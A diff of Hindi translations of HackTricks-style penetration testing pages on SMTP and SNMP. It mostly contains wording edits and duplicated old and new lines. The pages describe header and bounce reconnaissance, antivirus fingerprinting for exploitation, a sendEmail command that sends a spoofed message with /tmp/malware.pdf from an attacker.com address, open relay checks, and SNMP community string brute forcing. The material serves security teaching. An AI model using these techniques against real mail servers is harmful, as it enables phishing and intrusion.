यह निम्नलिखित कार्यों के साथ होता है:

View File

@ -6,7 +6,7 @@
**सिंपल मेल ट्रांसफर प्रोटोकॉल (SMTP)** एक प्रोटोकॉल है जो **ई-मेल भेजने और प्राप्त करने** के लिए TCP/IP सूट के भीतर उपयोग किया जाता है। प्राप्तकर्ता के अंत पर संदेशों को कतारबद्ध करने में इसकी सीमाओं के कारण, SMTP अक्सर **POP3 या IMAP** के साथ उपयोग किया जाता है। ये अतिरिक्त प्रोटोकॉल उपयोगकर्ताओं को एक सर्वर मेलबॉक्स पर संदेशों को संग्रहीत करने और उन्हें समय-समय पर डाउनलोड करने की अनुमति देते हैं।
व्यवहार में, यह सामान्य है कि **ई-मेल प्रोग्राम** **ई-मेल भेजने** के लिए **SMTP** का उपयोग करते हैं, जबकि **उन्हें प्राप्त करने** के लिए **POP3 या IMAP** का उपयोग करते हैं। यूनिक्स आधारित सिस्टम पर, **sendmail** ई-मेल उद्देश्यों के लिए सबसे अधिक उपयोग किया जाने वाला SMTP सर्वर है। Sendmail के रूप में ज्ञात व्यावसायिक पैकेज में एक POP3 सर्वर शामिल है। इसके अलावा, **Microsoft Exchange** एक SMTP सर्वर प्रदान करता है और POP3 समर्थन शामिल करने का विकल्प देता है।
व्यवहार में, यह सामान्य है कि **ई-मेल प्रोग्राम** **ई-मेल भेजने के लिए SMTP** का उपयोग करते हैं, जबकि **उन्हें प्राप्त करने के लिए POP3 या IMAP** का उपयोग करते हैं। यूनिक्स आधारित सिस्टम पर, **sendmail** ई-मेल उद्देश्यों के लिए सबसे अधिक उपयोग किया जाने वाला SMTP सर्वर है। Sendmail के रूप में ज्ञात व्यावसायिक पैकेज में एक POP3 सर्वर शामिल है। इसके अलावा, **Microsoft Exchange** एक SMTP सर्वर प्रदान करता है और POP3 समर्थन शामिल करने का विकल्प देता है।
**डिफ़ॉल्ट पोर्ट:** 25,465(ssl),587(ssl)
```
@ -17,11 +17,11 @@ PORT STATE SERVICE REASON VERSION
यदि आपके पास **शिकार को आपको एक ईमेल भेजने का अवसर है** (उदाहरण के लिए, वेब पृष्ठ के संपर्क फ़ॉर्म के माध्यम से), तो ऐसा करें क्योंकि **आप शिकार की आंतरिक टोपोलॉजी के बारे में जान सकते हैं** मेल के हेडर को देखकर।
आप एक SMTP सर्वर से ईमेल भी प्राप्त कर सकते हैं जो **उस सर्वर को एक गैर-मौजूद पते पर ईमेल भेजने की कोशिश कर रहा है** (क्योंकि सर्वर हमलावर को एक NDN मेल भेजेगा)। लेकिन, सुनिश्चित करें कि आप ईमेल एक अनुमत पते से भेजें (SPF नीति की जांच करें) और कि आप NDN संदेश प्राप्त कर सकते हैं।
आप एक SMTP सर्वर से एक ईमेल भी प्राप्त कर सकते हैं जो **उस सर्वर को एक गैर-मौजूद पते पर ईमेल भेजने की कोशिश कर रहा है** (क्योंकि सर्वर हमलावर को एक NDN मेल भेजेगा)। लेकिन, सुनिश्चित करें कि आप ईमेल एक अनुमत पते से भेजें (SPF नीति की जांच करें) और कि आप NDN संदेश प्राप्त कर सकते हैं।
आपको **विभिन्न सामग्री भेजने की कोशिश भी करनी चाहिए क्योंकि आप हेडर में अधिक दिलचस्प जानकारी पा सकते हैं** जैसे: `X-Virus-Scanned: by av.domain.com`\
आपको EICAR परीक्षण फ़ाइल भेजनी चाहिए।\
**AV** का पता लगाना आपको **ज्ञात कमजोरियों का लाभ उठाने** की अनुमति दे सकता है।
**AV** का पता लगाना आपको **ज्ञात कमजोरियों का शोषण करने** की अनुमति दे सकता है।
## Basic actions
@ -150,11 +150,11 @@ Nmap: nmap --script smtp-enum-users <IP>
```
## DSN Reports
**डिलीवरी स्टेटस नोटिफिकेशन रिपोर्ट्स**: यदि आप किसी संगठन को एक **ईमेल** एक **अमान्य पते** पर भेजते हैं, तो संगठन आपको सूचित करेगा कि पता अमान्य था, **आपको एक मेल वापस भेजकर**। लौटाए गए ईमेल के **हेडर** में संभावित **संवेदनशील जानकारी** शामिल होगी (जैसे कि रिपोर्ट के साथ इंटरैक्ट करने वाली मेल सेवाओं का IP पता या एंटी-वायरस सॉफ़्टवेयर की जानकारी)।
**डिलीवरी स्टेटस नोटिफिकेशन रिपोर्ट्स**: यदि आप किसी संगठन को एक **ईमेल** एक **अमान्य पते** पर भेजते हैं, तो संगठन आपको सूचित करेगा कि पता अमान्य था, **आपको एक मेल वापस भेजकर****हेडर** में लौटाए गए ईमेल में संभावित **संवेदनशील जानकारी** शामिल होगी (जैसे कि रिपोर्ट के साथ इंटरैक्ट करने वाली मेल सेवाओं का IP पता या एंटी-वायरस सॉफ़्टवेयर की जानकारी)।
## [Commands](smtp-commands.md)
### लिनक्स कंसोल से ईमेल भेजना
### Sending an Email from linux console
```bash
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
@ -237,7 +237,7 @@ smtp-smuggling.md
> SPF [2014 में "deprecated" हुआ था](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/)। इसका मतलब है कि `_spf.domain.com` में **TXT रिकॉर्ड** बनाने के बजाय आप इसे `domain.com` में **एक ही सिंटैक्स** का उपयोग करके बनाते हैं।\
> इसके अलावा, पिछले spf रिकॉर्ड का पुन: उपयोग करने के लिए यह आम है कि कुछ ऐसा पाया जाए जैसे `"v=spf1 include:_spf.google.com ~all"`
**Sender Policy Framework** (SPF) एक तंत्र है जो Mail Transfer Agents (MTAs) को यह सत्यापित करने में सक्षम बनाता है कि क्या एक ईमेल भेजने वाला होस्ट संगठनों द्वारा परिभाषित अधिकृत मेल सर्वरों की सूची को पूछकर अधिकृत है। यह सूची, जो IP पते/रेंज, डोमेन, और अन्य संस्थाओं को **एक डोमेन नाम की ओर से ईमेल भेजने के लिए अधिकृत** करती है, SPF रिकॉर्ड में विभिन्न "**Mechanisms**" को शामिल करती है।
**Sender Policy Framework** (SPF) एक तंत्र है जो Mail Transfer Agents (MTAs) को यह सत्यापित करने में सक्षम बनाता है कि क्या एक ईमेल भेजने वाला होस्ट संगठनों द्वारा परिभाषित अधिकृत मेल सर्वरों की सूची को पूछकर अधिकृत है। यह सूची, जो IP पते/रेंज, डोमेन और अन्य संस्थाओं को **एक डोमेन नाम की ओर से ईमेल भेजने के लिए अधिकृत** करती है, SPF रिकॉर्ड में विभिन्न "**Mechanisms**" को शामिल करती है।
#### Mechanisms
@ -249,20 +249,20 @@ smtp-smuggling.md
| A | यदि डोमेन नाम का एक पता रिकॉर्ड (A या AAAA) है जिसे भेजने वाले के पते में हल किया जा सकता है, तो यह मेल खाता है। |
| IP4 | यदि भेजने वाला एक दिए गए IPv4 पते की रेंज में है, तो मेल खाता है। |
| IP6 | यदि भेजने वाला एक दिए गए IPv6 पते की रेंज में है, तो मेल खाता है। |
| MX | यदि डोमेन नाम का एक MX रिकॉर्ड है जो भेजने वाले के पते को हल करता है, तो यह मेल खाता है (यानी, मेल डोमेन के आने वाले मेल सर्वरों में से एक से आता है)। |
| PTR | यदि ग्राहक के पते के लिए डोमेन नाम (PTR रिकॉर्ड) दिए गए डोमेन में है और वह डोमेन नाम ग्राहक के पते को हल करता है (फॉरवर्ड-कन्फर्म्ड रिवर्स DNS), तो मेल खाता है। इस तंत्र की सिफारिश नहीं की जाती है और इसे संभवतः टाला जाना चाहिए। |
| EXISTS | यदि दिए गए डोमेन नाम का कोई भी पता हल होता है, तो मेल खाता है (कोई फर्क नहीं पड़ता कि यह किस पते को हल करता है)। इसका उपयोग शायद ही कभी किया जाता है। SPF मैक्रो भाषा के साथ यह DNSBL-queries जैसी अधिक जटिल मेल खाता है। |
| MX | यदि डोमेन नाम का एक MX रिकॉर्ड है जो भेजने वाले के पते में हल होता है, तो यह मेल खाता है (यानी, मेल डोमेन के आने वाले मेल सर्वरों में से एक से आता है)। |
| PTR | यदि ग्राहक के पते के लिए डोमेन नाम (PTR रिकॉर्ड) दिए गए डोमेन में है और वह डोमेन नाम ग्राहक के पते में हल होता है (फॉरवर्ड-कन्फर्म्ड रिवर्स DNS), तो मेल खाता है। इस तंत्र की सिफारिश नहीं की जाती है और इसे संभवतः टाला जाना चाहिए। |
| EXISTS | यदि दिए गए डोमेन नाम का कोई भी पता हल होता है, तो मेल खाता है (कोई फर्क नहीं पड़ता कि यह किस पते में हल होता है)। इसका उपयोग शायद ही कभी किया जाता है। SPF मैक्रो भाषा के साथ यह DNSBL-queries जैसी अधिक जटिल मेल खाता है। |
| INCLUDE | किसी अन्य डोमेन की नीति को संदर्भित करता है। यदि उस डोमेन की नीति पास होती है, तो यह तंत्र पास होता है। हालाँकि, यदि शामिल की गई नीति विफल होती है, तो प्रसंस्करण जारी रहता है। किसी अन्य डोमेन की नीति को पूरी तरह से सौंपने के लिए, रीडायरेक्ट एक्सटेंशन का उपयोग किया जाना चाहिए। |
| REDIRECT | <p>एक रीडायरेक्ट एक अन्य डोमेन नाम की ओर इशारा करता है जो एक SPF नीति को होस्ट करता है, यह कई डोमेन को समान SPF नीति साझा करने की अनुमति देता है। यह तब उपयोगी होता है जब एक बड़ी संख्या में डोमेन होते हैं जो समान ईमेल बुनियादी ढाँचे को साझा करते हैं।</p><p>रीडायरेक्ट तंत्र में निर्दिष्ट डोमेन की SPF नीति का उपयोग किया जाएगा।</p> |
| REDIRECT | <p>एक रीडायरेक्ट एक अन्य डोमेन नाम की ओर इशारा करता है जो एक SPF नीति को होस्ट करता है, यह कई डोमेन को समान SPF नीति साझा करने की अनुमति देता है। यह तब उपयोगी होता है जब एक बड़ी संख्या में डोमेन होते हैं जो समान ईमेल बुनियादी ढाँचे को साझा करते हैं।</p><p>यह रीडायरेक्ट तंत्र में निर्दिष्ट डोमेन की SPF नीति का उपयोग किया जाएगा।</p> |
यह पहचानना भी संभव है कि **Qualifiers** क्या संकेत करते हैं **यदि कोई तंत्र मेल खाता है तो क्या किया जाना चाहिए**। डिफ़ॉल्ट रूप से, **qualifier "+"** का उपयोग किया जाता है (तो यदि कोई तंत्र मेल खाता है, तो इसका मतलब है कि यह अनुमति दी गई है)।\
आप आमतौर पर **प्रत्येक SPF नीति के अंत में** कुछ ऐसा नोट करेंगे: **\~all** या **-all**। इसका उपयोग यह संकेत करने के लिए किया जाता है कि **यदि भेजने वाला किसी भी SPF नीति से मेल नहीं खाता है, तो आपको ईमेल को अविश्वसनीय (\~) के रूप में टैग करना चाहिए या ईमेल को अस्वीकार (-) करना चाहिए।**
#### Qualifiers
नीति के भीतर प्रत्येक तंत्र को ्छित परिणम को परिभाषित करने के लिए चार क्वालिफायर में से एक द्वारा पूर्ववर्ती किया जा सकता है:
नीति के भीतर प्रत्येक तंत्र को चार में से एक qualifier द्वारा पूर्ववर्ती किया जा सकता है ताकि इच्छित परिणाम को परिभाषित किया जा सके:
- **`+`**: एक PASS परिणाम के अनुरूप है। डिफ़ॉल्ट रूप से, तंत्र इस क्वालिफायर को मानते हैं, जिससे `+mx` `mx` के बराबर होता है।
- **`+`**: एक PASS परिणाम के अनुरूप है। डिफ़ॉल्ट रूप से, तंत्र इस qualifier को मानते हैं, जिससे `+mx` `mx` के बराबर हो जाता है।
- **`?`**: एक NEUTRAL परिणाम का प्रतिनिधित्व करता है, जिसे NONE (कोई विशिष्ट नीति नहीं) के समान माना जाता है।
- **`~`**: SOFTFAIL को दर्शाता है, जो NEUTRAL और FAIL के बीच एक मध्य भूमि के रूप में कार्य करता है। इस परिणाम को पूरा करने वाले ईमेल आमतौर पर स्वीकार किए जाते हैं लेकिन उचित रूप से चिह्नित होते हैं।
- **`-`**: FAIL को इंगित करता है, यह सुझाव देता है कि ईमेल को सीधे अस्वीकार किया जाना चाहिए।
@ -286,7 +286,7 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
```
परंपरागत रूप से, किसी भी डोमेन नाम को स्पूफ करना संभव था जिसके पास सही/कोई SPF रिकॉर्ड नहीं था। **आजकल**, यदि **ईमेल** किसी **डोमेन से आता है जिसके पास मान्य SPF रिकॉर्ड नहीं है**, तो इसे **स्वचालित रूप से अस्वीकृत/अविश्वसनीय के रूप में चिह्नित किया जा सकता है**।
परंपरागत रूप से, किसी भी डोमेन नाम को स्पूफ करना संभव था जिसके पास सही/कोई SPF रिकॉर्ड नहीं था। **आजकल**, यदि **ईमेल** किसी **डोमेन से आता है जिसके पास एक मान्य SPF रिकॉर्ड नहीं है**, तो इसे **स्वचालित रूप से अस्वीकृत/अविश्वसनीय के रूप में चिह्नित किया जाएगा**।
किसी डोमेन का SPF जांचने के लिए आप ऑनलाइन टूल का उपयोग कर सकते हैं: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
@ -326,10 +326,10 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
| -------- | --------------------------------------------- | ------------------------------- |
| v | प्रोटोकॉल संस्करण | v=DMARC1 |
| pct | फ़िल्टरिंग के अधीन संदेशों का प्रतिशत | pct=20 |
| ruf | फोरेंसिक रिपोर्टों के लिए रिपोर्टिंग यूआरआई | ruf=mailto:authfail@example.com |
| rua | समग्र रिपोर्टों का रिपोर्टिंग यूआरआई | rua=mailto:aggrep@example.com |
| ruf | फोरेंसिक रिपोर्टों के लिए रिपोर्टिंग URI | ruf=mailto:authfail@example.com |
| rua | समग्र रिपोर्टों का रिपोर्टिंग URI | rua=mailto:aggrep@example.com |
| p | संगठनात्मक डोमेन के लिए नीति | p=quarantine |
| sp | ओडी के उपडोमेन के लिए नीति | sp=reject |
| sp | OD के उपडोमेन के लिए नीति | sp=reject |
| adkim | DKIM के लिए संरेखण मोड | adkim=s |
| aspf | SPF के लिए संरेखण मोड | aspf=r |
@ -351,13 +351,13 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
### **ओपन रिले**
जब ईमेल भेजे जाते हैं, तो यह सुनिश्चित करना कि उन्हें स्पैम के रूप में चिह्नित नहीं किया जाता है, महत्वपूर्ण है। यह अक्सर **प्राप्तकर्ता द्वारा विश्वसनीय रिले सर्वर** के उपयोग के माध्यम से प्राप्त किया जाता है। हालाकि, एक सामान्य चुनौती यह है कि व्यवस्थापक यह नहीं जानते कि **कौन से IP रेंज सुरक्षित हैं**। इस समझ की कमी SMTP सर्वर को सेटअप करने में गलतियों का कारण बन सकती है, जो सुरक्षा आकलनों में अक्सर पहचानी जाती है।
जब ईमेल भेजे जाते हैं, तो यह सुनिश्चित करना कि उन्हें स्पैम के रूप में चिह्नित नहीं किया जाता है, महत्वपूर्ण है। यह अक्सर **प्राप्तकर्ता द्वारा विश्वसनीय रिले सर्वर** के उपयोग के माध्यम से प्राप्त किया जाता है। हालाकि, एक सामान्य चुनौती यह है कि व्यवस्थापक यह नहीं जानते कि **कौन से IP रेंज सुरक्षित हैं**। इस समझ की कमी SMTP सर्वर को सेटअप करने में गलतियों का कारण बन सकती है, जो सुरक्षा आकलनों में अक्सर पहचानी जाती है।
कुछ व्यवस्थापक ईमेल वितरण समस्याओं से बचने के लिए, विशेष रूप से संभावित या चल रहे ग्राहकों के साथ संचार के संबंध में, एक समाधान के रूप में **किसी भी IP पते से कनेक्शन की अनुमति देते हैं**। यह SMTP सर्वर के `mynetworks` पैरामीटर को सभी IP पते स्वीकार करने के लिए कॉन्फ़िगर करके किया जाता है, जैसा कि नीचे दिखाया गया है:
एक वर्कअराउंड जो कुछ व्यवस्थापक ईमेल वितरण समस्याओं से बचने के लिए उपयोग करते हैं, विशेष रूप से संभावित या चल रहे ग्राहकों के साथ संचार के संबंध में, वह है **किसी भी IP पते से कनेक्शन की अनुमति देना**। यह SMTP सर्वर के `mynetworks` पैरामीटर को सभी IP पते स्वीकार करने के लिए कॉन्फ़िगर करके किया जाता है, जैसा कि नीचे दिखाया गया है:
```bash
mynetworks = 0.0.0.0/0
```
एक मेल सर्वर यह जांचने के लिए कि क्या यह एक ओपन रिलेज है (जिसका मतलब है कि यह किसी भी बाहरी स्रोत से ईमेल को अग्रेषित कर सकता है), `nmap` टूल का सामान्यत: उपयोग किया जाता है। इसमें इसे परीक्षण करने के लिए एक विशिष्ट स्क्रिप्ट शामिल है। एक सर्वर पर वर्बोज़ स्कैन करने के लिए (उदाहरण के लिए, IP 10.10.10.10 के साथ) पोर्ट 25 पर `nmap` का उपयोग करते हुए कमांड है:
एक मेल सर्वर यह जांचने के लिए कि क्या यह एक ओपन रिलेज है (जिसका मतलब है कि यह किसी भी बाहरी स्रोत से ईमेल को अग्रेषित कर सकता है), `nmap` टूल का सामान्यत: उपयोग किया जाता है। इसमें इसे परीक्षण करने के लिए एक विशेष स्क्रिप्ट शामिल है। एक सर्वर पर वर्बोज़ स्कैन करने के लिए (उदाहरण के लिए, IP 10.10.10.10 के साथ) पोर्ट 25 पर `nmap` का उपयोग करते हुए कमांड है:
```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
@ -475,7 +475,7 @@ s.sendmail(sender, [destination], msg_data)
### **अधिक जानकारी**
**इन सुरक्षा उपायों के बारे में अधिक जानकारी के लिए** [**यहाँ देखें**](https://seanthegeek.net/459/demystifying-dmarc/)
**इन सुरक्षा उपायों के बारे में अधिक जानकारी प्राप्त करें** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)
### **अन्य फ़िशिंग संकेतक**
@ -484,19 +484,19 @@ s.sendmail(sender, [destination], msg_data)
- लिंक हेरफेर तकनीकें
- संदिग्ध (असामान्य) अटैचमेंट
- टूटी हुई ईमेल सामग्री
- मान जो मेल हेडर के मानों से भिन्न हैं
- उपयोग किए गए मान जो मेल हेडर के मानों से भिन्न हैं
- एक मान्य और विश्वसनीय SSL प्रमाणपत्र का अस्तित्व
- वेब सामग्री फ़िल्टरिंग साइटों पर पृष्ठ का सबमिशन
## SMTP के माध्यम से डेटा निकालना
## SMTP के माध्यम से एक्सफिल्ट्रेशन
**यदि आप SMTP के माध्यम से डेटा भेज सकते हैं** [**यह पढ़ें**](../../generic-hacking/exfiltration.md#smtp)**.**
**यदि आप SMTP के माध्यम से डेटा भेज सकते हैं** [**यह पढ़ें**](../../generic-hacking/exfiltration.md#smtp)****
## कॉन्फ़िग फ़ाइल
### Postfix
### पोस्टफिक्स
आमतौर पर, यदि स्थापित है, तो `/etc/postfix/master.cf` में **स्क्रिप्ट होती हैं** जो उदाहरण के लिए, जब एक नया मेल किसी उपयोगकर्ता द्वारा प्राप्त होता है, तब निष्पादित होती हैं। उदाहरण के लिए, `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` का अर्थ है कि यदि उपयोगकर्ता मार्क द्वारा एक नया मेल प्राप्त होता है, तो `/etc/postfix/filtering` निष्पादित किया जाएगा।
आमतौर पर, यदि स्थापित है, तो `/etc/postfix/master.cf` में **स्क्रिप्ट होती हैं जो निष्पादित होती हैं** जब उदाहरण के लिए एक नया मेल किसी उपयोगकर्ता द्वारा प्राप्त होता है। उदाहरण के लिए, `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` का अर्थ है कि यदि उपयोगकर्ता मार्क द्वारा नया मेल प्राप्त होता है, तो `/etc/postfix/filtering` निष्पादित किया जाएगा।
अन्य कॉन्फ़िग फ़ाइलें:
```

View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
**SNMP - Simple Network Management Protocol** एक प्रोटोकॉल है जिसका उपयोग नेटवर्क में विभिन्न उपकरणों (जैसे राउटर, स्विच, प्रिंटर, IoTs...) की निगरानी के लिए किया जाता है।
@ -24,11 +23,11 @@ MIB फ़ाइलें `एब्स्ट्रैक्ट सिंटै
MIB ऑब्जेक्ट IDs, या OIDs, के उच्चतम स्तर विभिन्न मानक-निर्धारण संगठनों को आवंटित किए जाते हैं। इन शीर्ष स्तरों के भीतर वैश्विक प्रबंधन प्रथाओं और मानकों के लिए ढांचा स्थापित किया जाता है।
इसके अलावा, विक्रेताओं को निजी शाखाए स्थापित करने की स्वतंत्रता दी जाती है। इन शाखाओं के भीतर, उनके पास **अपने उत्पाद लाइनों से संबंधित प्रबंधित ऑब्जेक्ट्स को शामिल करने की स्वायत्तता** होती है। यह प्रणाली विभिन्न विक्रेताओं और मानकों के बीच ऑब्जेक्ट्स की पहचान और प्रबंधन के लिए एक संरचित और संगठित विधि सुनिश्चित करती है।
इसके अलावा, विक्रेताओं को निजी शाखाए स्थापित करने की स्वतंत्रता दी जाती है। इन शाखाओं के भीतर, उनके पास **अपने उत्पाद लाइनों से संबंधित प्रबंधित ऑब्जेक्ट्स को शामिल करने की स्वायत्तता** होती है। यह प्रणाली विभिन्न विक्रेताओं और मानकों के बीच ऑब्जेक्ट्स की पहचान और प्रबंधन के लिए एक संरचित और संगठित विधि सुनिश्चित करती है।
![](<../../images/SNMP_OID_MIB_Tree (1).png>)
आप यहाँ वेब से **OID पेड़** के माध्यम से **नेविगेट** कर सकते हैं: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) या **देख सकते हैं कि OID का क्या अर्थ है** (जैसे `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) पर जाकर।\
आप यहां वेब के माध्यम से **OID पेड़** के माध्यम से **नेविगेट** कर सकते हैं: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) या **देख सकते हैं कि OID का क्या अर्थ है** (जैसे `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) पर जाकर।\
कुछ **प्रसिद्ध OIDs** हैं जैसे कि [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) के भीतर जो MIB-2 द्वारा परिभाषित सरल नेटवर्क प्रबंधन प्रोटोकॉल (SNMP) वेरिएबल्स को संदर्भित करते हैं। और इस **OID से संबंधित OIDs** से आप कुछ दिलचस्प होस्ट डेटा (सिस्टम डेटा, नेटवर्क डेटा, प्रक्रियाओं का डेटा...) प्राप्त कर सकते हैं।
### **OID उदाहरण**
@ -56,7 +55,7 @@ MIB ऑब्जेक्ट IDs, या OIDs, के उच्चतम स्
बाकी के मान डिवाइस के बारे में विशिष्ट जानकारी देते हैं।
- 5 एक विशिष्ट अलार्म बिंदु को दर्शाता है।
- 5 एक विविक्त अलार्म बिंदु को दर्शाता है।
- 1 डिवाइस में विशिष्ट बिंदु
- 3 पोर्ट
- 21 पोर्ट का पता
@ -73,13 +72,13 @@ SNMP के 2 महत्वपूर्ण संस्करण हैं:
### कम्युनिटी स्ट्रिंग्स
जैसा कि पहले उल्लेख किया गया है, **MIB पर संग्रहीत जानकारी तक पहुचने के लिए आपको संस्करण 1 और 2/2c पर कम्युनिटी स्ट्रिंग और संस्करण 3 पर क्रेडेंशियल्स जानने की आवश्यकता है।**\
जैसा कि पहले उल्लेख किया गया है, **MIB पर संग्रहीत जानकारी तक पहुचने के लिए आपको संस्करण 1 और 2/2c पर कम्युनिटी स्ट्रिंग और संस्करण 3 पर क्रेडेंशियल्स जानने की आवश्यकता है।**\
कम्युनिटी स्ट्रिंग्स के **2 प्रकार** हैं:
- **`public`** मुख्य रूप से **पढ़ने के लिए केवल** कार्य
- **`private`** **पढ़ने/लिखने** में सामान्य
ध्यान दें कि **OID की लिखने की क्षमता उपयोग की गई कम्युनिटी स्ट्रिंग पर निर्भर करती है**, इसलिए **यहां तक कि** यदि आप पाते हैं कि "**public**" का उपयोग किया जा रहा है, तो आप कुछ मानों को **लिखने में सक्षम हो सकते हैं।** इसके अलावा, ऐसे ऑब्जेक्ट्स हो सकते हैं जो **हमेशा "पढ़ने के लिए केवल"** होते हैं।\
ध्यान दें कि **OID की लिखने की क्षमता उपयोग की गई कम्युनिटी स्ट्रिंग पर निर्भर करती है**, इसलिए **यहां तक कि** यदि आप पाते हैं कि "**public**" का उपयोग किया जा रहा है, तो आप कुछ मानों को **लिखने में सक्षम हो सकते हैं।** इसके अलावा, ऐसे ऑब्जेक्ट्स हो सकते हैं जो **हमेशा "पढ़ने के लिए केवल" होते हैं।**\
यदि आप एक ऑब्जेक्ट को **लिखने** की कोशिश करते हैं तो **`noSuchName` या `readOnly` त्रुटि** प्राप्त होती है\*\*.\*\*
संस्करण 1 और 2/2c में यदि आप एक **खराब** कम्युनिटी स्ट्रिंग का उपयोग करते हैं तो सर्वर **प्रतिक्रिया** नहीं देगा। इसलिए, यदि यह प्रतिक्रिया देता है, तो **एक मान्य कम्युनिटी स्ट्रिंग का उपयोग किया गया था**
@ -89,8 +88,8 @@ SNMP के 2 महत्वपूर्ण संस्करण हैं:
[विकिपीडिया से](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol):
- SNMP एजेंट UDP पोर्ट **161** पर अनुरोध प्राप्त करता है।
- प्रबंधक पोर्ट **162** पर सूचनाएँ प्राप्त करता है ([ट्रैप्स](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) और [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest))।
- जब [परिवहन परत सुरक्षा](https://en.wikipedia.org/wiki/Transport_Layer_Security) या [डेटाग्राम परिवहन परत सुरक्षा](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security) के साथ उपयोग किया जाता है, तो अनुरोध पोर्ट **10161** पर प्राप्त होते हैं और सूचनाए पोर्ट **10162** पर भेजी जाती हैं।
- प्रबंधक पोर्ट **162** पर सूचनाए ([ट्रैप्स](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) और [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) प्राप्त करता है
- जब [परिवहन परत सुरक्षा](https://en.wikipedia.org/wiki/Transport_Layer_Security) या [डेटाग्राम परिवहन परत सुरक्षा](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security) के साथ उपयोग किया जाता है, तो अनुरोध पोर्ट **10161** पर प्राप्त होते हैं और सूचनाए पोर्ट **10162** पर भेजी जाती हैं।
## ब्रूट-फोर्स कम्युनिटी स्ट्रिंग (v1 और v2c)
@ -105,7 +104,7 @@ download-mibs
# Finally comment the line saying "mibs :" in /etc/snmp/snmp.conf
sudo vi /etc/snmp/snmp.conf
```
यदि आपके पास एक मान्य समुदाय स्ट्रिंग है, तो आप **SNMPWalk** या **SNMP-Check** का उपयोग करके डेटा तक पहुँच सकते हैं:
यदि आपक एक मान्य समुदाय स्ट्रिंग पता है, तो आप **SNMPWalk** या **SNMP-Check** का उपयोग करके डेटा तक पहुँच सकते हैं:
```bash
snmpbulkwalk -c [COMM_STRING] -v [VERSION] [IP] . #Don't forget the final dot
snmpbulkwalk -c public -v2c 10.10.11.136 .
@ -121,7 +120,7 @@ nmap --script "snmp* and not snmp-brute" <target>
braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
```
विस्तारित क्वेरीज़ (download-mibs) के लिए धन्यवाद, निम्नलिखित कमांड के साथ सिस्टम के बारे में और अधिक जानकारी इकट्ठा करना संभव है:
विस्तारित क्वेरीज़ (download-mibs) के लिए धन्यवाद, निम्नलिखित कमांड के साथ सिस्टम के बारे में और अधिक जानकारी प्राप्त करना संभव है:
```bash
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
```
@ -146,15 +145,15 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
### Microsoft Windows के लिए SNMP पैरामीटर
SNMP के माध्यम से Windows सिस्टम के विभिन्न पहलुओं की निगरानी के लिए एक श्रृंखला **प्रबंधन सूचना आधार (MIB) मान** का उपयोग की जाती है:
Windows सिस्टम के विभिन्न पहलुओं की निगरानी के लिए एक श्रृंखला **मैनेजमेंट इंफॉर्मेशन बेस (MIB) मान** का उपयोग किया जाता है:
- **सिस्टम प्रक्रियाएँ**: `1.3.6.1.2.1.25.1.6.0` के माध्यम से पहुंची जाती हैं, यह पैरामीटर सिस्टम के भीतर सक्रिय प्रक्रियाओं की निगरानी की अनुमति देता है।
- **चल रहे कार्यक्रम**: वर्तमान में चल रहे कार्यक्रमों को ट्रैक करने के लिए `1.3.6.1.2.1.25.4.2.1.2` मान निर्धारित किया गया है।
- **प्रक्रियाओं का पथ**: यह निर्धारित करने के लिए कि कोई प्रक्रिया कहाँ से चल रही है, `1.3.6.1.2.1.25.4.2.1.4` MIB मान का उपयोग किया जाता है।
- **स्टोरेज यूनिट्स**: स्टोरेज यूनिट्स की निगरानी `1.3.6.1.2.1.25.2.3.1.4` के माध्यम से की जाती है।
- **स्टोरेज यूनिट्स**: स्टोरेज यूनिट्स की निगरानी `1.3.6.1.2.1.25.2.3.1.4` द्वारा की जाती है।
- **सॉफ़्टवेयर नाम**: सिस्टम पर स्थापित सॉफ़्टवेयर की पहचान करने के लिए `1.3.6.1.2.1.25.6.3.1.2` का उपयोग किया जाता है।
- **उपयोगकर्ता खाते**: उपयोगकर्ता खातों को ट्रैक करने के लिए `1.3.6.1.4.1.77.1.2.25` मान की अनुमति है।
